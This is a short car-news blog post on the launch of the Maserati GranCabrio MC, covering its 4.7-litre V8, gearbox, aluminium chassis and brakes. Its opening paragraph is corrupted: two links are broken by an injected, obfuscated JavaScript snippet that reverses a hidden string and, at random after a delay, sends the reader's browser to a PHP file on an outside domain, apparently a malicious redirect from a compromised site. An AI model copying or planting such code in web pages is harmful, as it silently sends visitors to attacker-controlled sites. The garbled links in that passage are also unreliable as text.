Maserati GranCabrio MC. Meanwhile…

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Whilst a few of us were witnessing the launch of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/maserati-granturismo-sport-dubai-uae-who-needs-paris/” target=”_blank”>Maserati GranTurismo Sport in Dubai recently, other members of the crankandpiston crew were over in Paris watching the covers come off the new $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/maserati-grancabrio-mc-the-tridents-treble/” target=”_blank”>GranCabrio MC, the final member of Maserati’s open-top line-up.

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The fact that ‘MC’ – a derivative normally reserved for the sportier Maserati Corse models – appears in the name should give you a clue what the new GranCabrio is all about. Yes, this being a four-seater, there’s the traditional focus on comfort and practicality (the new model is 58mm longer than both the GranCabrio and GranCabrio S to create more cabin space), but in the C&P universe, the key feature is that 460hp 4.7-litre V8 bolted down under the bonnet.

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Why the interest? Well, it happens to be the same unit that powers the marque’s MC Stradale, the lightweight bruiser of the GranTurismo brood. Consequently, grunt isn’t too much of an issue for the new GranCabrio. Mash the right pedal and flick the six-speed ZF MC Auto Shift gearbox in time, and you should hit 100kph from standstill in 4.9s.

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Performance isn’t just down to the drivetrain though. High-strength steel is used to guarantee structural rigidity for the roofless MC, but in order to shed those precious kilograms, the remainder of the monocoque chassis is made from aluminium. Single-rate dampers and a specially configured suspension setup mean greater road holding, while new one-piece aluminium Brembo brakes mean stopping distances have also been improved: the GranCabrio MC will pull up from 100kph in a neck-snapping 35 metres.

Categories: Road

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